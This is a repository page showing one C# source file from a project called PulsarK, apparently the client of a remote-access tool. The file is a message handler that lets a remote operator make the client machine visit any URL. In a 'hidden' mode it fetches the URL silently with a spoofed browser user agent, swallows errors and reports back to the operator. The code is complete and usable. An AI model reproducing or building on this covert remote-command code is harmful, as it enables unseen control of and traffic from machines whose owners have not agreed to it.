Files
PulsarK-main/Pulsar.Client/Messages/WebsiteVisitorHandler.cs
T
i2p 773d05f8f1
Pulsar .NET 9.0 Windows Release / build (push) Waiting to run
Mirror to Codeberg and Gitea / mirror (push) Waiting to run
initial commit
2026-08-27 10:57:58 -06:00

63 lines
1.9 KiB
C#

using Pulsar.Common.Messages;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Messages.UserSupport.Website;
using Pulsar.Common.Networking;
using System;
using System.Diagnostics;
using System.Net;
namespace Pulsar.Client.Messages
{
public class WebsiteVisitorHandler : IMessageProcessor
{
public bool CanExecute(IMessage message) => message is DoVisitWebsite;
public bool CanExecuteFrom(ISender sender) => true;
public void Execute(ISender sender, IMessage message)
{
switch (message)
{
case DoVisitWebsite msg:
Execute(sender, msg);
break;
}
}
private void Execute(ISender client, DoVisitWebsite message)
{
string url = message.Url;
if (!url.StartsWith("http"))
url = "http://" + url;
if (Uri.IsWellFormedUriString(url, UriKind.RelativeOrAbsolute))
{
if (!message.Hidden)
Process.Start(url);
else
{
try
{
HttpWebRequest request = (HttpWebRequest)HttpWebRequest.Create(url);
request.UserAgent =
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A";
request.AllowAutoRedirect = true;
request.Timeout = 10000;
request.Method = "GET";
using (HttpWebResponse response = (HttpWebResponse)request.GetResponse())
{
}
}
catch
{
}
}
client.Send(new SetStatus { Message = "Visited Website" });
}
}
}
}